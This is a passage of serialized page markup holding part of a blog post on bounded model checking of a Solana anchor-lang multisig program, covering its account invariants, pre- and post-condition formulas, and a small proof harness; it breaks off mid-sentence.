tag":198,"props":21918,"children":21919},{"style":683},[21920],{"type":27,"value":658},{"type":21,"tag":198,"props":21922,"children":21923},{"style":211},[21924],{"type":27,"value":21925},"len())\n",{"type":21,"tag":198,"props":21927,"children":21928},{"class":200,"line":323},[21929],{"type":21,"tag":198,"props":21930,"children":21931},{"style":211},[21932],{"type":27,"value":21053},{"type":21,"tag":198,"props":21934,"children":21935},{"class":200,"line":344},[21936,21940,21945,21950],{"type":21,"tag":198,"props":21937,"children":21938},{"style":249},[21939],{"type":27,"value":14497},{"type":21,"tag":198,"props":21941,"children":21942},{"style":249},[21943],{"type":27,"value":21944}," struct",{"type":21,"tag":198,"props":21946,"children":21947},{"style":1966},[21948],{"type":27,"value":21949}," Ms",{"type":21,"tag":198,"props":21951,"children":21952},{"style":211},[21953],{"type":27,"value":233},{"type":21,"tag":198,"props":21955,"children":21956},{"class":200,"line":365},[21957,21961,21966,21970,21974,21979],{"type":21,"tag":198,"props":21958,"children":21959},{"style":249},[21960],{"type":27,"value":21636},{"type":21,"tag":198,"props":21962,"children":21963},{"style":226},[21964],{"type":27,"value":21965}," threshold",{"type":21,"tag":198,"props":21967,"children":21968},{"style":683},[21969],{"type":27,"value":185},{"type":21,"tag":198,"props":21971,"children":21972},{"style":1966},[21973],{"type":27,"value":21823},{"type":21,"tag":198,"props":21975,"children":21976},{"style":211},[21977],{"type":27,"value":21978},", ",{"type":21,"tag":198,"props":21980,"children":21981},{"style":1233},[21982],{"type":27,"value":21983},"// threshold for signatures\n",{"type":21,"tag":198,"props":21985,"children":21986},{"class":200,"line":386},[21987,21991,21996,22000,22004,22009],{"type":21,"tag":198,"props":21988,"children":21989},{"style":249},[21990],{"type":27,"value":21636},{"type":21,"tag":198,"props":21992,"children":21993},{"style":226},[21994],{"type":27,"value":21995}," authority_index",{"type":21,"tag":198,"props":21997,"children":21998},{"style":683},[21999],{"type":27,"value":185},{"type":21,"tag":198,"props":22001,"children":22002},{"style":1966},[22003],{"type":27,"value":21823},{"type":21,"tag":198,"props":22005,"children":22006},{"style":211},[22007],{"type":27,"value":22008},", ",{"type":21,"tag":198,"props":22010,"children":22011},{"style":1233},[22012],{"type":27,"value":22013},"// index to seed other authorities under this multisig\n",{"type":21,"tag":198,"props":22015,"children":22016},{"class":200,"line":408},[22017,22021,22026,22030,22034,22039],{"type":21,"tag":198,"props":22018,"children":22019},{"style":249},[22020],{"type":27,"value":21636},{"type":21,"tag":198,"props":22022,"children":22023},{"style":226},[22024],{"type":27,"value":22025}," transaction_index",{"type":21,"tag":198,"props":22027,"children":22028},{"style":683},[22029],{"type":27,"value":185},{"type":21,"tag":198,"props":22031,"children":22032},{"style":1966},[22033],{"type":27,"value":18351},{"type":21,"tag":198,"props":22035,"children":22036},{"style":211},[22037],{"type":27,"value":22038},", ",{"type":21,"tag":198,"props":22040,"children":22041},{"style":1233},[22042],{"type":27,"value":22043},"// look up and seed reference for transactions\n",{"type":21,"tag":198,"props":22045,"children":22046},{"class":200,"line":429},[22047,22051,22056,22060,22064,22068],{"type":21,"tag":198,"props":22048,"children":22049},{"style":249},[22050],{"type":27,"value":21636},{"type":21,"tag":198,"props":22052,"children":22053},{"style":226},[22054],{"type":27,"value":22055}," ms_change_index",{"type":21,"tag":198,"props":22057,"children":22058},{"style":683},[22059],{"type":27,"value":185},{"type":21,"tag":198,"props":22061,"children":22062},{"style":1966},[22063],{"type":27,"value":18351},{"type":21,"tag":198,"props":22065,"children":22066},{"style":211},[22067],{"type":27,"value":22008},{"type":21,"tag":198,"props":22069,"children":22070},{"style":1233},[22071],{"type":27,"value":22072},"// the last executed/closed transaction\n",{"type":21,"tag":198,"props":22074,"children":22075},{"class":200,"line":450},[22076,22080,22085,22089,22093,22098],{"type":21,"tag":198,"props":22077,"children":22078},{"style":249},[22079],{"type":27,"value":21636},{"type":21,"tag":198,"props":22081,"children":22082},{"style":226},[22083],{"type":27,"value":22084}," bump",{"type":21,"tag":198,"props":22086,"children":22087},{"style":683},[22088],{"type":27,"value":185},{"type":21,"tag":198,"props":22090,"children":22091},{"style":1966},[22092],{"type":27,"value":15439},{"type":21,"tag":198,"props":22094,"children":22095},{"style":211},[22096],{"type":27,"value":22097},", ",{"type":21,"tag":198,"props":22099,"children":22100},{"style":1233},[22101],{"type":27,"value":22102},"// bump for the multisig seed\n",{"type":21,"tag":198,"props":22104,"children":22105},{"class":200,"line":468},[22106,22110,22115,22119,22123,22128],{"type":21,"tag":198,"props":22107,"children":22108},{"style":249},[22109],{"type":27,"value":21636},{"type":21,"tag":198,"props":22111,"children":22112},{"style":226},[22113],{"type":27,"value":22114}," create_key",{"type":21,"tag":198,"props":22116,"children":22117},{"style":683},[22118],{"type":27,"value":185},{"type":21,"tag":198,"props":22120,"children":22121},{"style":1966},[22122],{"type":27,"value":21650},{"type":21,"tag":198,"props":22124,"children":22125},{"style":211},[22126],{"type":27,"value":22127},", ",{"type":21,"tag":198,"props":22129,"children":22130},{"style":1233},[22131],{"type":27,"value":22132},"// random key(or not) used to seed the multisig pda\n",{"type":21,"tag":198,"props":22134,"children":22135},{"class":200,"line":477},[22136,22140,22145,22149,22153,22157],{"type":21,"tag":198,"props":22137,"children":22138},{"style":249},[22139],{"type":27,"value":21636},{"type":21,"tag":198,"props":22141,"children":22142},{"style":226},[22143],{"type":27,"value":22144}," allow_external_execute",{"type":21,"tag":198,"props":22146,"children":22147},{"style":683},[22148],{"type":27,"value":185},{"type":21,"tag":198,"props":22150,"children":22151},{"style":1966},[22152],{"type":27,"value":12860},{"type":21,"tag":198,"props":22154,"children":22155},{"style":211},[22156],{"type":27,"value":828},{"type":21,"tag":198,"props":22158,"children":22159},{"style":1233},[22160],{"type":27,"value":22161},"// allow non-member keys to execute txs\n",{"type":21,"tag":198,"props":22163,"children":22164},{"class":200,"line":494},[22165,22169,22174,22178,22183,22187,22192,22197],{"type":21,"tag":198,"props":22166,"children":22167},{"style":249},[22168],{"type":27,"value":21636},{"type":21,"tag":198,"props":22170,"children":22171},{"style":226},[22172],{"type":27,"value":22173}," keys",{"type":21,"tag":198,"props":22175,"children":22176},{"style":683},[22177],{"type":27,"value":185},{"type":21,"tag":198,"props":22179,"children":22180},{"style":1966},[22181],{"type":27,"value":22182}," Vec",{"type":21,"tag":198,"props":22184,"children":22185},{"style":211},[22186],{"type":27,"value":3159},{"type":21,"tag":198,"props":22188,"children":22189},{"style":1966},[22190],{"type":27,"value":22191},"Pubkey",{"type":21,"tag":198,"props":22193,"children":22194},{"style":211},[22195],{"type":27,"value":22196},">, ",{"type":21,"tag":198,"props":22198,"children":22199},{"style":1233},[22200],{"type":27,"value":22201},"// keys of the members\n",{"type":21,"tag":198,"props":22203,"children":22204},{"class":200,"line":515},[22205],{"type":21,"tag":198,"props":22206,"children":22207},{"style":211},[22208],{"type":27,"value":1120},{"type":21,"tag":30,"props":22210,"children":22211},{},[22212],{"type":27,"value":22213},"Here we are verifying multiple things at once:",{"type":21,"tag":138,"props":22215,"children":22216},{},[22217,22228,22239,22250],{"type":21,"tag":75,"props":22218,"children":22219},{},[22220,22226],{"type":21,"tag":194,"props":22221,"children":22223},{"className":22222},[],[22224],{"type":27,"value":22225},"!self.keys.is_empty()",{"type":27,"value":22227}," : ensure there is at least one member",{"type":21,"tag":75,"props":22229,"children":22230},{},[22231,22237],{"type":21,"tag":194,"props":22232,"children":22234},{"className":22233},[],[22235],{"type":27,"value":22236},"self.keys.len() \u003C= u16::MAX as usize",{"type":27,"value":22238}," : set an upper limit of 65535 members",{"type":21,"tag":75,"props":22240,"children":22241},{},[22242,22248],{"type":21,"tag":194,"props":22243,"children":22245},{"className":22244},[],[22246],{"type":27,"value":22247},"self.threshold >= 1",{"type":27,"value":22249}," : ensure we always need at least one member to sign (threshold of zero would require no signers!)",{"type":21,"tag":75,"props":22251,"children":22252},{},[22253,22259],{"type":21,"tag":194,"props":22254,"children":22256},{"className":22255},[],[22257],{"type":27,"value":22258},"self.threshold as usize \u003C= self.keys.len()",{"type":27,"value":22260}," : ensure we always have enough potential members to sign; if threshold was greater than the number of keys, no one could sign",{"type":21,"tag":22,"props":22262,"children":22264},{"id":22263},"verification-how-do-we-check-that-our-model-is-correct",[22265],{"type":27,"value":22266},"Verification: How do we check that our model is correct?",{"type":21,"tag":30,"props":22268,"children":22269},{},[22270,22272,22276,22278,22283],{"type":27,"value":22271},"Now that we have defined the specific instruction and account invariants, we need to generate ",{"type":21,"tag":1671,"props":22273,"children":22274},{},[22275],{"type":27,"value":20763},{"type":27,"value":22277}," on which we can run bounded model checking. Our tool does this ",{"type":21,"tag":1671,"props":22279,"children":22280},{},[22281],{"type":27,"value":22282},"automagically",{"type":27,"value":22284}," for anchor-lang programs.",{"type":21,"tag":30,"props":22286,"children":22287},{},[22288,22290,22296,22298,22303,22305,22310,22311,22316,22318,22323,22325,22330,22331,22337,22339,22345,22346,22352],{"type":27,"value":22289},"Specifically, for a given ",{"type":21,"tag":194,"props":22291,"children":22293},{"className":22292},[],[22294],{"type":27,"value":22295},"Context\u003CT>",{"type":27,"value":22297}," with ",{"type":21,"tag":1671,"props":22299,"children":22300},{},[22301],{"type":27,"value":22302},"incoming",{"type":27,"value":22304}," accounts of types (",{"type":21,"tag":194,"props":22306,"children":22308},{"className":22307},[],[22309],{"type":27,"value":21534},{"type":27,"value":2232},{"type":21,"tag":194,"props":22312,"children":22314},{"className":22313},[],[22315],{"type":27,"value":4530},{"type":27,"value":22317},") and ",{"type":21,"tag":1671,"props":22319,"children":22320},{},[22321],{"type":27,"value":22322},"outgoing",{"type":27,"value":22324}," accounts of type (",{"type":21,"tag":194,"props":22326,"children":22328},{"className":22327},[],[22329],{"type":27,"value":4530},{"type":27,"value":2232},{"type":21,"tag":194,"props":22332,"children":22334},{"className":22333},[],[22335],{"type":27,"value":22336},"close",{"type":27,"value":22338},") we define a ",{"type":21,"tag":194,"props":22340,"children":22342},{"className":22341},[],[22343],{"type":27,"value":22344},"pre_condition",{"type":27,"value":11801},{"type":21,"tag":194,"props":22347,"children":22349},{"className":22348},[],[22350],{"type":27,"value":22351},"post_condition",{"type":27,"value":22353}," expression that is a conjunction of all of the incoming and outcoming account invariants:",{"type":21,"tag":30,"props":22355,"children":22356},{},[22357],{"type":21,"tag":194,"props":22358,"children":22360},{"className":22359},[4794,4795],[22361],{"type":21,"tag":198,"props":22362,"children":22364},{"className":22363},[4800],[22365],{"type":21,"tag":198,"props":22366,"children":22368},{"className":22367,"ariaHidden":4806},[4805],[22369,22405],{"type":21,"tag":198,"props":22370,"children":22372},{"className":22371},[4811],[22373,22378,22386,22391,22395,22401],{"type":21,"tag":198,"props":22374,"children":22377},{"className":22375,"style":22376},[4816],"height:0.6833em;",[],{"type":21,"tag":198,"props":22379,"children":22383},{"className":22380,"style":22382},[4822,22381],"mathnormal","margin-right:0.13889em;",[22384],{"type":27,"value":22385},"P",{"type":21,"tag":198,"props":22387,"children":22389},{"className":22388},[4822],[22390],{"type":27,"value":3482},{"type":21,"tag":198,"props":22392,"children":22394},{"className":22393,"style":4998},[4901],[],{"type":21,"tag":198,"props":22396,"children":22398},{"className":22397},[5003],[22399],{"type":27,"value":22400},":=",{"type":21,"tag":198,"props":22402,"children":22404},{"className":22403,"style":4998},[4901],[],{"type":21,"tag":198,"props":22406,"children":22408},{"className":22407},[4811],[22409,22414,22554,22558],{"type":21,"tag":198,"props":22410,"children":22413},{"className":22411,"style":22412},[4816],"height:1.2247em;vertical-align:-0.4747em;",[],{"type":21,"tag":198,"props":22415,"children":22418},{"className":22416},[22417],"mop",[22419,22428],{"type":21,"tag":198,"props":22420,"children":22425},{"className":22421,"style":22424},[22417,22422,22423],"op-symbol","small-op","position:relative;top:0em;",[22426],{"type":27,"value":22427},"⋀",{"type":21,"tag":198,"props":22429,"children":22431},{"className":22430},[4837],[22432],{"type":21,"tag":198,"props":22433,"children":22436},{"className":22434},[4842,22435],"vlist-t2",[22437,22542],{"type":21,"tag":198,"props":22438,"children":22440},{"className":22439},[4847],[22441,22535],{"type":21,"tag":198,"props":22442,"children":22445},{"className":22443,"style":22444},[4852],"height:0.2253em;",[22446],{"type":21,"tag":198,"props":22447,"children":22449},{"style":22448},"top:-2.4003em;margin-left:0em;margin-right:0.05em;",[22450,22454],{"type":21,"tag":198,"props":22451,"children":22453},{"className":22452,"style":4862},[4861],[],{"type":21,"tag":198,"props":22455,"children":22457},{"className":22456},[4867,4868,4869,4870],[22458],{"type":21,"tag":198,"props":22459,"children":22461},{"className":22460},[4822,4870],[22462,22467,22473,22483,22489,22498,22507,22513,22518,22524,22529],{"type":21,"tag":198,"props":22463,"children":22465},{"className":22464},[4822,22381,4870],[22466],{"type":27,"value":34},{"type":21,"tag":198,"props":22468,"children":22470},{"className":22469},[4822,22381,4870],[22471],{"type":27,"value":22472},"cc",{"type":21,"tag":198,"props":22474,"children":22476},{"className":22475},[4901,4870],[22477],{"type":21,"tag":198,"props":22478,"children":22480},{"className":22479},[4870],[22481],{"type":27,"value":22482}," ",{"type":21,"tag":198,"props":22484,"children":22486},{"className":22485},[5003,4870],[22487],{"type":27,"value":22488},"∈",{"type":21,"tag":198,"props":22490,"children":22492},{"className":22491},[4901,4870],[22493],{"type":21,"tag":198,"props":22494,"children":22496},{"className":22495},[4870],[22497],{"type":27,"value":22482},{"type":21,"tag":198,"props":22499,"children":22501},{"className":22500},[4822,27,4870],[22502],{"type":21,"tag":198,"props":22503,"children":22505},{"className":22504},[4822,4870],[22506],{"type":27,"value":22302},{"type":21,"tag":198,"props":22508,"children":22511},{"className":22509},[22510,4870],"mopen",[22512],{"type":27,"value":706},{"type":21,"tag":198,"props":22514,"children":22516},{"className":22515},[4822,22381,4870],[22517],{"type":27,"value":3954},{"type":21,"tag":198,"props":22519,"children":22521},{"className":22520},[4822,22381,4870],[22522],{"type":27,"value":22523},"t",{"type":21,"tag":198,"props":22525,"children":22527},{"className":22526},[4822,22381,4870],[22528],{"type":27,"value":20070},{"type":21,"tag":198,"props":22530,"children":22533},{"className":22531},[22532,4870],"mclose",[22534],{"type":27,"value":2109},{"type":21,"tag":198,"props":22536,"children":22539},{"className":22537},[22538],"vlist-s",[22540],{"type":27,"value":22541},"​",{"type":21,"tag":198,"props":22543,"children":22545},{"className":22544},[4847],[22546],{"type":21,"tag":198,"props":22547,"children":22550},{"className":22548,"style":22549},[4852],"height:0.4747em;",[22551],{"type":21,"tag":198,"props":22552,"children":22553},{},[],{"type":21,"tag":198,"props":22555,"children":22557},{"className":22556,"style":4939},[4901],[],{"type":21,"tag":198,"props":22559,"children":22561},{"className":22560},[4822],[22562,22572,22577,22582,22587],{"type":21,"tag":198,"props":22563,"children":22565},{"className":22564},[4822,27],[22566],{"type":21,"tag":198,"props":22567,"children":22569},{"className":22568},[4822],[22570],{"type":27,"value":22571},"invariant",{"type":21,"tag":198,"props":22573,"children":22575},{"className":22574},[22510],[22576],{"type":27,"value":706},{"type":21,"tag":198,"props":22578,"children":22580},{"className":22579},[4822,22381],[22581],{"type":27,"value":34},{"type":21,"tag":198,"props":22583,"children":22585},{"className":22584},[4822,22381],[22586],{"type":27,"value":22472},{"type":21,"tag":198,"props":22588,"children":22590},{"className":22589},[22532],[22591],{"type":27,"value":2109},{"type":21,"tag":30,"props":22593,"children":22594},{},[22595],{"type":21,"tag":194,"props":22596,"children":22598},{"className":22597},[4794,4795],[22599],{"type":21,"tag":198,"props":22600,"children":22602},{"className":22601},[4800],[22603],{"type":21,"tag":198,"props":22604,"children":22606},{"className":22605,"ariaHidden":4806},[4805],[22607,22638],{"type":21,"tag":198,"props":22608,"children":22610},{"className":22609},[4811],[22611,22615,22620,22625,22629,22634],{"type":21,"tag":198,"props":22612,"children":22614},{"className":22613,"style":22376},[4816],[],{"type":21,"tag":198,"props":22616,"children":22618},{"className":22617,"style":22382},[4822,22381],[22619],{"type":27,"value":22385},{"type":21,"tag":198,"props":22621,"children":22623},{"className":22622},[4822],[22624],{"type":27,"value":134},{"type":21,"tag":198,"props":22626,"children":22628},{"className":22627,"style":4998},[4901],[],{"type":21,"tag":198,"props":22630,"children":22632},{"className":22631},[5003],[22633],{"type":27,"value":22400},{"type":21,"tag":198,"props":22635,"children":22637},{"className":22636,"style":4998},[4901],[],{"type":21,"tag":198,"props":22639,"children":22641},{"className":22640},[4811],[22642,22646,22769,22773],{"type":21,"tag":198,"props":22643,"children":22645},{"className":22644,"style":22412},[4816],[],{"type":21,"tag":198,"props":22647,"children":22649},{"className":22648},[22417],[22650,22655],{"type":21,"tag":198,"props":22651,"children":22653},{"className":22652,"style":22424},[22417,22422,22423],[22654],{"type":27,"value":22427},{"type":21,"tag":198,"props":22656,"children":22658},{"className":22657},[4837],[22659],{"type":21,"tag":198,"props":22660,"children":22662},{"className":22661},[4842,22435],[22663,22758],{"type":21,"tag":198,"props":22664,"children":22666},{"className":22665},[4847],[22667,22753],{"type":21,"tag":198,"props":22668,"children":22670},{"className":22669,"style":22444},[4852],[22671],{"type":21,"tag":198,"props":22672,"children":22673},{"style":22448},[22674,22678],{"type":21,"tag":198,"props":22675,"children":22677},{"className":22676,"style":4862},[4861],[],{"type":21,"tag":198,"props":22679,"children":22681},{"className":22680},[4867,4868,4869,4870],[22682],{"type":21,"tag":198,"props":22683,"children":22685},{"className":22684},[4822,4870],[22686,22691,22696,22705,22710,22719,22728,22733,22738,22743,22748],{"type":21,"tag":198,"props":22687,"children":22689},{"className":22688},[4822,22381,4870],[22690],{"type":27,"value":34},{"type":21,"tag":198,"props":22692,"children":22694},{"className":22693},[4822,22381,4870],[22695],{"type":27,"value":22472},{"type":21,"tag":198,"props":22697,"children":22699},{"className":22698},[4901,4870],[22700],{"type":21,"tag":198,"props":22701,"children":22703},{"className":22702},[4870],[22704],{"type":27,"value":22482},{"type":21,"tag":198,"props":22706,"children":22708},{"className":22707},[5003,4870],[22709],{"type":27,"value":22488},{"type":21,"tag":198,"props":22711,"children":22713},{"className":22712},[4901,4870],[22714],{"type":21,"tag":198,"props":22715,"children":22717},{"className":22716},[4870],[22718],{"type":27,"value":22482},{"type":21,"tag":198,"props":22720,"children":22722},{"className":22721},[4822,27,4870],[22723],{"type":21,"tag":198,"props":22724,"children":22726},{"className":22725},[4822,4870],[22727],{"type":27,"value":22322},{"type":21,"tag":198,"props":22729,"children":22731},{"className":22730},[22510,4870],[22732],{"type":27,"value":706},{"type":21,"tag":198,"props":22734,"children":22736},{"className":22735},[4822,22381,4870],[22737],{"type":27,"value":3954},{"type":21,"tag":198,"props":22739,"children":22741},{"className":22740},[4822,22381,4870],[22742],{"type":27,"value":22523},{"type":21,"tag":198,"props":22744,"children":22746},{"className":22745},[4822,22381,4870],[22747],{"type":27,"value":20070},{"type":21,"tag":198,"props":22749,"children":22751},{"className":22750},[22532,4870],[22752],{"type":27,"value":2109},{"type":21,"tag":198,"props":22754,"children":22756},{"className":22755},[22538],[22757],{"type":27,"value":22541},{"type":21,"tag":198,"props":22759,"children":22761},{"className":22760},[4847],[22762],{"type":21,"tag":198,"props":22763,"children":22765},{"className":22764,"style":22549},[4852],[22766],{"type":21,"tag":198,"props":22767,"children":22768},{},[],{"type":21,"tag":198,"props":22770,"children":22772},{"className":22771,"style":4939},[4901],[],{"type":21,"tag":198,"props":22774,"children":22776},{"className":22775},[4822],[22777,22786,22791,22796,22801],{"type":21,"tag":198,"props":22778,"children":22780},{"className":22779},[4822,27],[22781],{"type":21,"tag":198,"props":22782,"children":22784},{"className":22783},[4822],[22785],{"type":27,"value":22571},{"type":21,"tag":198,"props":22787,"children":22789},{"className":22788},[22510],[22790],{"type":27,"value":706},{"type":21,"tag":198,"props":22792,"children":22794},{"className":22793},[4822,22381],[22795],{"type":27,"value":34},{"type":21,"tag":198,"props":22797,"children":22799},{"className":22798},[4822,22381],[22800],{"type":27,"value":22472},{"type":21,"tag":198,"props":22802,"children":22804},{"className":22803},[22532],[22805],{"type":27,"value":2109},{"type":21,"tag":30,"props":22807,"children":22808},{},[22809],{"type":27,"value":22810},"Our instruction invariants are represented as:",{"type":21,"tag":138,"props":22812,"children":22813},{},[22814,22850],{"type":21,"tag":75,"props":22815,"children":22816},{},[22817,22844,22845],{"type":21,"tag":194,"props":22818,"children":22820},{"className":22819},[4794,4795],[22821],{"type":21,"tag":198,"props":22822,"children":22824},{"className":22823},[4800],[22825],{"type":21,"tag":198,"props":22826,"children":22828},{"className":22827,"ariaHidden":4806},[4805],[22829],{"type":21,"tag":198,"props":22830,"children":22832},{"className":22831},[4811],[22833,22837],{"type":21,"tag":198,"props":22834,"children":22836},{"className":22835,"style":22376},[4816],[],{"type":21,"tag":198,"props":22838,"children":22841},{"className":22839,"style":22840},[4822,22381],"margin-right:0.05764em;",[22842],{"type":27,"value":22843},"S",{"type":27,"value":16136},{"type":21,"tag":194,"props":22846,"children":22848},{"className":22847},[],[22849],{"type":27,"value":20949},{"type":21,"tag":75,"props":22851,"children":22852},{},[22853,22879,22880],{"type":21,"tag":194,"props":22854,"children":22856},{"className":22855},[4794,4795],[22857],{"type":21,"tag":198,"props":22858,"children":22860},{"className":22859},[4800],[22861],{"type":21,"tag":198,"props":22862,"children":22864},{"className":22863,"ariaHidden":4806},[4805],[22865],{"type":21,"tag":198,"props":22866,"children":22868},{"className":22867},[4811],[22869,22873],{"type":21,"tag":198,"props":22870,"children":22872},{"className":22871,"style":22376},[4816],[],{"type":21,"tag":198,"props":22874,"children":22876},{"className":22875,"style":22840},[4822,22381],[22877],{"type":27,"value":22878},"E",{"type":27,"value":16136},{"type":21,"tag":194,"props":22881,"children":22883},{"className":22882},[],[22884],{"type":27,"value":20956},{"type":21,"tag":30,"props":22886,"children":22887},{},[22888,22890,22917,22919,22924,22926,22932],{"type":27,"value":22889},"And ",{"type":21,"tag":194,"props":22891,"children":22893},{"className":22892},[4794,4795],[22894],{"type":21,"tag":198,"props":22895,"children":22897},{"className":22896},[4800],[22898],{"type":21,"tag":198,"props":22899,"children":22901},{"className":22900,"ariaHidden":4806},[4805],[22902],{"type":21,"tag":198,"props":22903,"children":22905},{"className":22904},[4811],[22906,22910],{"type":21,"tag":198,"props":22907,"children":22909},{"className":22908,"style":22376},[4816],[],{"type":21,"tag":198,"props":22911,"children":22914},{"className":22912,"style":22913},[4822,22381],"margin-right:0.07153em;",[22915],{"type":27,"value":22916},"K",{"type":27,"value":22918}," represents whether the instruction actually succeeds (i.e. invoking the handler returned an ",{"type":21,"tag":194,"props":22920,"children":22922},{"className":22921},[],[22923],{"type":27,"value":21284},{"type":27,"value":22925}," not an ",{"type":21,"tag":194,"props":22927,"children":22929},{"className":22928},[],[22930],{"type":27,"value":22931},"Err",{"type":27,"value":3394},{"type":21,"tag":30,"props":22934,"children":22935},{},[22936],{"type":27,"value":22937},"In order to verify these conditions we need to verify three cases:",{"type":21,"tag":59,"props":22939,"children":22941},{"id":22940},"account-invariants-1",[22942],{"type":27,"value":22943},"Account invariants",{"type":21,"tag":30,"props":22945,"children":22946},{},[22947,22949,22980,22982,23012,23014,23044],{"type":27,"value":22948},"After we execute an instruction, either the function should error and be reverted (",{"type":21,"tag":194,"props":22950,"children":22952},{"className":22951},[4794,4795],[22953],{"type":21,"tag":198,"props":22954,"children":22956},{"className":22955},[4800],[22957],{"type":21,"tag":198,"props":22958,"children":22960},{"className":22959,"ariaHidden":4806},[4805],[22961],{"type":21,"tag":198,"props":22962,"children":22964},{"className":22963},[4811],[22965,22969,22975],{"type":21,"tag":198,"props":22966,"children":22968},{"className":22967,"style":22376},[4816],[],{"type":21,"tag":198,"props":22970,"children":22972},{"className":22971},[4822],[22973],{"type":27,"value":22974},"¬",{"type":21,"tag":198,"props":22976,"children":22978},{"className":22977,"style":22913},[4822,22381],[22979],{"type":27,"value":22916},{"type":27,"value":22981},") or the account post-invariants should hold (",{"type":21,"tag":194,"props":22983,"children":22985},{"className":22984},[4794,4795],[22986],{"type":21,"tag":198,"props":22987,"children":22989},{"className":22988},[4800],[22990],{"type":21,"tag":198,"props":22991,"children":22993},{"className":22992,"ariaHidden":4806},[4805],[22994],{"type":21,"tag":198,"props":22995,"children":22997},{"className":22996},[4811],[22998,23002,23007],{"type":21,"tag":198,"props":22999,"children":23001},{"className":23000,"style":22376},[4816],[],{"type":21,"tag":198,"props":23003,"children":23005},{"className":23004,"style":22382},[4822,22381],[23006],{"type":27,"value":22385},{"type":21,"tag":198,"props":23008,"children":23010},{"className":23009},[4822],[23011],{"type":27,"value":134},{"type":27,"value":23013},"). Furthermore, we can assume that before executing a function, the account pre-invariants (",{"type":21,"tag":194,"props":23015,"children":23017},{"className":23016},[4794,4795],[23018],{"type":21,"tag":198,"props":23019,"children":23021},{"className":23020},[4800],[23022],{"type":21,"tag":198,"props":23023,"children":23025},{"className":23024,"ariaHidden":4806},[4805],[23026],{"type":21,"tag":198,"props":23027,"children":23029},{"className":23028},[4811],[23030,23034,23039],{"type":21,"tag":198,"props":23031,"children":23033},{"className":23032,"style":22376},[4816],[],{"type":21,"tag":198,"props":23035,"children":23037},{"className":23036,"style":22382},[4822,22381],[23038],{"type":27,"value":22385},{"type":21,"tag":198,"props":23040,"children":23042},{"className":23041},[4822],[23043],{"type":27,"value":3482},{"type":27,"value":23045},") should hold since we will verify all of the functions eventually.",{"type":21,"tag":30,"props":23047,"children":23048},{},[23049,23051],{"type":27,"value":23050},"So we are trying to prove that ",{"type":21,"tag":194,"props":23052,"children":23054},{"className":23053},[4794,4795],[23055],{"type":21,"tag":198,"props":23056,"children":23058},{"className":23057},[4800],[23059],{"type":21,"tag":198,"props":23060,"children":23062},{"className":23061,"ariaHidden":4806},[4805],[23063,23100,23132],{"type":21,"tag":198,"props":23064,"children":23066},{"className":23065},[4811],[23067,23071,23076,23081,23086,23090,23096],{"type":21,"tag":198,"props":23068,"children":23070},{"className":23069,"style":4922},[4816],[],{"type":21,"tag":198,"props":23072,"children":23074},{"className":23073},[22510],[23075],{"type":27,"value":706},{"type":21,"tag":198,"props":23077,"children":23079},{"className":23078,"style":22382},[4822,22381],[23080],{"type":27,"value":22385},{"type":21,"tag":198,"props":23082,"children":23084},{"className":23083},[4822],[23085],{"type":27,"value":3482},{"type":21,"tag":198,"props":23087,"children":23089},{"className":23088,"style":4902},[4901],[],{"type":21,"tag":198,"props":23091,"children":23093},{"className":23092},[4907],[23094],{"type":27,"value":23095},"∧",{"type":21,"tag":198,"props":23097,"children":23099},{"className":23098,"style":4902},[4901],[],{"type":21,"tag":198,"props":23101,"children":23103},{"className":23102},[4811],[23104,23108,23113,23118,23122,23128],{"type":21,"tag":198,"props":23105,"children":23107},{"className":23106,"style":4922},[4816],[],{"type":21,"tag":198,"props":23109,"children":23111},{"className":23110,"style":22913},[4822,22381],[23112],{"type":27,"value":22916},{"type":21,"tag":198,"props":23114,"children":23116},{"className":23115},[22532],[23117],{"type":27,"value":2109},{"type":21,"tag":198,"props":23119,"children":23121},{"className":23120,"style":4998},[4901],[],{"type":21,"tag":198,"props":23123,"children":23125},{"className":23124},[5003],[23126],{"type":27,"value":23127},"→",{"type":21,"tag":198,"props":23129,"children":23131},{"className":23130,"style":4998},[4901],[],{"type":21,"tag":198,"props":23133,"children":23135},{"className":23134},[4811],[23136,23140,23145],{"type":21,"tag":198,"props":23137,"children":23139},{"className":23138,"style":22376},[4816],[],{"type":21,"tag":198,"props":23141,"children":23143},{"className":23142,"style":22382},[4822,22381],[23144],{"type":27,"value":22385},{"type":21,"tag":198,"props":23146,"children":23148},{"className":23147},[4822],[23149],{"type":27,"value":134},{"type":21,"tag":30,"props":23151,"children":23152},{},[23153],{"type":27,"value":23154},"We can construct a proof harness like the following:",{"type":21,"tag":187,"props":23156,"children":23158},{"code":23157,"language":20255,"meta":7,"className":20256,"style":7},"assume(P0)\nres = instruction_handler(...)\nassert(!K || P1)\n",[23159],{"type":21,"tag":194,"props":23160,"children":23161},{"__ignoreMap":7},[23162,23170,23187],{"type":21,"tag":198,"props":23163,"children":23164},{"class":200,"line":201},[23165],{"type":21,"tag":198,"props":23166,"children":23167},{"style":211},[23168],{"type":27,"value":23169},"assume(P0)\n",{"type":21,"tag":198,"props":23171,"children":23172},{"class":200,"line":217},[23173,23178,23182],{"type":21,"tag":198,"props":23174,"children":23175},{"style":211},[23176],{"type":27,"value":23177},"res ",{"type":21,"tag":198,"props":23179,"children":23180},{"style":683},[23181],{"type":27,"value":3174},{"type":21,"tag":198,"props":23183,"children":23184},{"style":211},[23185],{"type":27,"value":23186}," instruction_handler(...)\n",{"type":21,"tag":198,"props":23188,"children":23189},{"class":200,"line":236},[23190,23194,23198,23203,23208,23213],{"type":21,"tag":198,"props":23191,"children":23192},{"style":640},[23193],{"type":27,"value":20778},{"type":21,"tag":198,"props":23195,"children":23196},{"style":211},[23197],{"type":27,"value":706},{"type":21,"tag":198,"props":23199,"children":23201},{"style":23200},"--shiki-default:#F44747",[23202],{"type":27,"value":686},{"type":21,"tag":198,"props":23204,"children":23205},{"style":211},[23206],{"type":27,"value":23207},"K ",{"type":21,"tag":198,"props":23209,"children":23210},{"style":23200},[23211],{"type":27,"value":23212},"||",{"type":21,"tag":198,"props":23214,"children":23215},{"style":211},[23216],{"type":27,"value":23217}," P1)\n",{"type":21,"tag":30,"props":23219,"children":23220},{},[23221],{"type":27,"value":23222},"By itself, this harness doesn't actually prove much. For example, if the instruction fails every time, this proof will still work. However, in conjunction with the two subsequent proofs we can be assured that the instruction will actually succeed when we expect it to.",{"type":21,"tag":59,"props":23224,"children":23226},{"id":23225},"positive-instruction-invariant",[23227],{"type":27,"value":23228},"Positive instruction invariant",{"type":21,"tag":30,"props":23230,"children":23231},{},[23232,23234,23240,23242,23293],{"type":27,"value":23233},"Next we need to prove that 